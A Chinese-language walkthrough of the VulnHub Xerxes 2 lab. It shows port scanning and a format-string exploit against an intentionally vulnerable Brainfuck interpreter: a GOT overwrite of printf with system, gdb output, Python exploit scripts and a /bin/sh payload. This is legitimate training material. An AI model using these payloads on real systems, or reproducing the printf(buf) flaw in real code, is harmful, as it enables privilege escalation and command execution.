you can download it here: https://www.vulnhub.com/entry/xerxes-201,97/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
root@kali:~# nmap -T4 -p 1-65535 -v -A 192.168.227.179
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-18 14:26 EDT
NSE: Loaded 148 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 14:26
Completed NSE at 14:26, 0.00s elapsed
Initiating NSE at 14:26
Completed NSE at 14:26, 0.00s elapsed
Initiating ARP Ping Scan at 14:26
Scanning 192.168.227.179 [1 port]
Completed ARP Ping Scan at 14:26, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:26
Completed Parallel DNS resolution of 1 host. at 14:26, 0.04s elapsed
Initiating SYN Stealth Scan at 14:26
Scanning 192.168.227.179 [65535 ports]
Discovered open port 80/tcp on 192.168.227.179
Discovered open port 22/tcp on 192.168.227.179
Discovered open port 8888/tcp on 192.168.227.179
Discovered open port 111/tcp on 192.168.227.179
Discovered open port 53339/tcp on 192.168.227.179
Completed SYN Stealth Scan at 14:26, 6.55s elapsed (65535 total ports)
Initiating Service scan at 14:26
Scanning 5 services on 192.168.227.179
Completed Service scan at 14:26, 11.02s elapsed (5 services on 1 host)
Initiating OS detection (try #1) against 192.168.227.179
NSE: Script scanning 192.168.227.179.
Initiating NSE at 14:26
Completed NSE at 14:26, 0.22s elapsed
Initiating NSE at 14:26
Completed NSE at 14:26, 0.01s elapsed
Nmap scan report for 192.168.227.179
Host is up (0.0010s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
| ssh-hostkey:
| 1024 7f:0a:0d:81:50:3b:73:15:6b:9c:5e:09:a2:fc:82:91 (DSA)
| 2048 0d:eb:14:6d:b0:c5:eb:fc:84:2d:e8:a2:4e:9f:14:b4 (RSA)
|_ 256 c1:ca:ae:c3:5d:7a:5b:9d:cf:27:a4:48:83:1e:01:84 (ECDSA)
80/tcp open http lighttpd 1.4.31
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: lighttpd/1.4.31
|_http-title: xerxes2
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 53339/tcp status
|_ 100024 1 56783/udp status
8888/tcp open http Tornado httpd 2.3
|_http-favicon: Unknown favicon MD5: 4E6C6BE5716444F7AC7B902E7F388939
| http-methods:
|_ Supported Methods: GET
|_http-server-header: TornadoServer/2.3
|_http-title: IPython Dashboard
53339/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:A1:19:E1 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.10, Linux 3.2 - 3.16
Uptime guess: 198.840 days (since Sat Dec 1 17:16:04 2018)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 1.00 ms 192.168.227.179

NSE: Script Post-scanning.
Initiating NSE at 14:26
Completed NSE at 14:26, 0.00s elapsed
Initiating NSE at 14:26
Completed NSE at 14:26, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.99 seconds
Raw packets sent: 65608 (2.888MB) | Rcvd: 65550 (2.623MB)

80端口啥都没有,8888端口是ipython notebook的旧版本,可以直接执行shell命令,反弹一个shell回来。看见主目录下有个bf.c,阅读代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
/* found this lingering around somewhere */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

#define BUF_SIZE 30000

void bf(char *program, char *buf)
{

int programcounter = 0;
int datapointer = 0;

while (program[programcounter])
{
switch(program[programcounter])
{
case '.':
printf("%c", buf[datapointer]);
break;
case ',':
buf[datapointer] = getchar();
break;
case '>':
datapointer = (datapointer == (BUF_SIZE-1)) ? 0 : ++datapointer;
break;
case '<':
datapointer = (datapointer == 0) ? (BUF_SIZE-1) : --datapointer;
break;
case '+':
buf[datapointer]++;
break;
case '-':
buf[datapointer]--;
break;
case '[':
if (buf[datapointer] == 0)
{
int indent = 1;
while (indent)
{
programcounter++;

if (program[programcounter] == ']')
{
indent--;
}
if (program[programcounter] == '[')
{
indent++;
}
}
}
break;
case ']':
if (buf[datapointer])
{
int indent = 1;
while (indent)
{
programcounter--;

if (program[programcounter] == ']')
{
indent++;
}
if (program[programcounter] == '[')
{
indent--;
}
}
}
break;
case '#':
// new feature
printf(buf);
break;
}
programcounter++;
}
}

int main(int argc, char **argv)
{
char buf[BUF_SIZE];

if (argc < 2)
{
printf("usage: %s [program]\n", argv[0]);
exit(-1);
}

memset(buf, 0, sizeof(buf));
bf(argv[1], buf);

exit(0);
}

注意到可以使用 , > 配合getchar()来填充buf的内容,然后最后用#来triggerprintf(buf);的格式化字符串漏洞,同时也可以直接输入brainfuck代码,让他解密成我们所需要的payload填充buf

首先查看有没有什么安全措施

1

开启了NX,在网上查得资料:https://www.jianshu.com/p/c90530c910b0 摘抄如下:

1
2
3
溢出攻击的本质在于冯·诺依曼计算机模型对数据和代码没有明确区分这一先天性缺陷。因为攻击者可以将代码放置于数据区段,转而让系统去执行。

NX缓解机制开启后,使某些内存区域不可执行,并使可执行区域不可写。示例:使数据,堆栈和堆段不可执行,而代码段不可写。

那么就需要使用ret2libc技术了,上面那个链接里说的比较清楚了,但是在自己试验过程中还是碰了很多壁

另外就是开启了ASLR(Address space layout randomization),那么使得每次运行可执行文件时他的函数地址都是随机的,如下

2

在网上查阅得知 执行 ulimit -s unlimited即可关闭aslr。(正常手段应该是echo 0 > /proc/sys/kernel/randomize_va_space 但不知道为什么ulimit -s unlimited可以关闭,可能这是一种暂时关闭的手段,后面发现如果ssh重新登录的话,aslr又是开启的)

执行ulimit -s unlimited之后再次执行ldd /opt/bf发现每次地址都是固定的了。

3

下面看看printf的偏移量是多少,先写一个脚本方便调用bf

1
2
3
4
5
6
import sys
import os
payload = str(sys.argv[1])
command = "echo " + '"' + payload + '"' + '| /opt/bf "' + len(payload) * ",>" + '#"'
print command
os.system(command)

4

偏移量是16

下面看bf中有什么函数可以去覆盖利用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
delacroix@xerxes2:/tmp$ objdump -R /opt/bf

/opt/bf: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049a38 R_386_GLOB_DAT __gmon_start__
08049a48 R_386_JUMP_SLOT printf
08049a4c R_386_JUMP_SLOT getchar
08049a50 R_386_JUMP_SLOT __gmon_start__
08049a54 R_386_JUMP_SLOT exit
08049a58 R_386_JUMP_SLOT __libc_start_main
08049a5c R_386_JUMP_SLOT memset
08049a60 R_386_JUMP_SLOT putchar

决定去覆盖printf函数,地址为0x08049a48,注意到bf源码中遍历了argv[1]的所有字符,遇到#将buf内容传进printf中,第一段payload将printf函数覆盖到system函数地址上,第二段payload将要执行的命令传给system即可执行任意代码。

参考:https://bbs.ichunqiu.com/thread-43624-1-1.html

先看system函数地址在哪里

5

注意到system所在地址为0x40062000,而printf的所在地址为0x4006ff50,我只需要覆盖printf地址的低四位即可。

printf实现任意地址写需要使用%n控制符,可以将当前打印的字符个数写入到对应参数的内存中。

先实验一下

因为printf的内存地址为0x08049a48,其中有不可见字符,所以先将其输出到文件中。

printf '\x48\x9a\x04\x08%%16$n' > /tmp/write

注意到/tmp/write中前面有四个字符对应内存地址,后面%16$n有5个字符,所以总共9个字符,需要九个 ,> 搭配

然后在gdb中调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
delacroix@xerxes2:/tmp$ gdb /opt/bf
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/bf...(no debugging symbols found)...done.
(gdb) run
Starting program: /opt/bf
usage: /opt/bf [program]
[Inferior 1 (process 3200) exited with code 0377]
(gdb) print system
$1 = {<text variable, no debug info>} 0x40062000 <system>
(gdb) print printf
$2 = {<text variable, no debug info>} 0x4006ff50 <printf>
(gdb) print system
$3 = {<text variable, no debug info>} 0x40062000 <system>
(gdb) quit
delacroix@xerxes2:/tmp$ gdb /opt/bf
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/bf...(no debugging symbols found)...done.
(gdb) dis
disable disassemble disconnect display
(gdb) disassemble main
Dump of assembler code for function main:
0x08048684 <+0>: push %ebp
0x08048685 <+1>: mov %esp,%ebp
0x08048687 <+3>: and $0xfffffff0,%esp
0x0804868a <+6>: sub $0x7540,%esp
0x08048690 <+12>: cmpl $0x1,0x8(%ebp)
0x08048694 <+16>: jg 0x80486b7 <main+51>
0x08048696 <+18>: mov 0xc(%ebp),%eax
0x08048699 <+21>: mov (%eax),%eax
0x0804869b <+23>: mov %eax,0x4(%esp)
0x0804869f <+27>: movl $0x804887c,(%esp)
0x080486a6 <+34>: call 0x8048390 <printf@plt>
0x080486ab <+39>: movl $0xffffffff,(%esp)
0x080486b2 <+46>: call 0x80483c0 <exit@plt>
0x080486b7 <+51>: movl $0x7530,0x8(%esp)
0x080486bf <+59>: movl $0x0,0x4(%esp)
0x080486c7 <+67>: lea 0x10(%esp),%eax
0x080486cb <+71>: mov %eax,(%esp)
0x080486ce <+74>: call 0x80483e0 <memset@plt>
0x080486d3 <+79>: mov 0xc(%ebp),%eax
0x080486d6 <+82>: add $0x4,%eax
0x080486d9 <+85>: mov (%eax),%eax
0x080486db <+87>: lea 0x10(%esp),%edx
0x080486df <+91>: mov %edx,0x4(%esp)
0x080486e3 <+95>: mov %eax,(%esp)
0x080486e6 <+98>: call 0x80484ec <bf>
0x080486eb <+103>: movl $0x0,(%esp)
0x080486f2 <+110>: call 0x80483c0 <exit@plt>
End of assembler dump.
(gdb) break *0x080486eb
Breakpoint 1 at 0x80486eb
(gdb) run ",>,>,>,>,>,>,>,>,>#" < /tmp/write
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/bf ",>,>,>,>,>,>,>,>,>#" < /tmp/write

Breakpoint 1, 0x080486eb in main ()
(gdb) x/x 0x08049a48
0x8049a48 <printf@got.plt>: 0x00000004


可以看到成功将0x8049a48处的内容覆写成了4,因为\x48\x9a\x04\x08%%16$n只包括前面的四个字符,所以写成4,那么前面提到说要将0x4006ff50覆写成为0x40062000,只需要覆写低四位,可以用%hn格式符,用来写入两个字节,从0004到2000相差0x1ffc个字符,使用宽度控制符可以快速的打印出需要的字符个数。

printf '\x48\x9a\x04\x08%%8188c%%16$hn' > /tmp/write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(gdb) run ",>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>#" < /tmp/write
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/bf ",>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>#" < /tmp/write
.
.
.
省略大量空白字符
.
.
.
Breakpoint 1, 0x080486eb in main ()
(gdb) x/x 0x08049a48
0x8049a48 <printf@got.plt>: 0x40062000

可以看到printf被成功覆盖成了system的地址。

下面传入命令即可执行。

printf '\x48\x9a\x04\x08%%8188c%%16$hn;whoami' > /tmp/write

1
2
3
4
5
6
7
8
9
10
11
12
13
delacroix@xerxes2:/tmp$ /opt/bf ",>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>##" < /tmp/write
.
.
.
中间省略大量空白字符
.
.
.

󲦺 1: %8188c%16: not found
polito
;whoamidelacroix@xerxes2:/tmp$

可以看到成功执行命令whoami,回显为polito

简单写了一个利用脚本

1
2
3
4
5
6
7
import sys
import os
command = str(sys.argv[1])
os.system("printf '\x48\x9a\x04\x08%%8188c%%16$hn;" + command + "' > /tmp/write")
payload = "/opt/bf '" + (17+len(command)) * ",>" + "##'" + " < /tmp/write"
# print payload
os.system(payload)

另外给出利用bf自带brainfuck解密功能写入buf的payload

1
/opt/bf "$(python -c 'print ">".join(["+" * ord(x) for x in ("\x48\x9a\x04\x08%8188c%16$hn;/bin/sh")])')##"

这个靶机玩不下去了,就写到这里吧。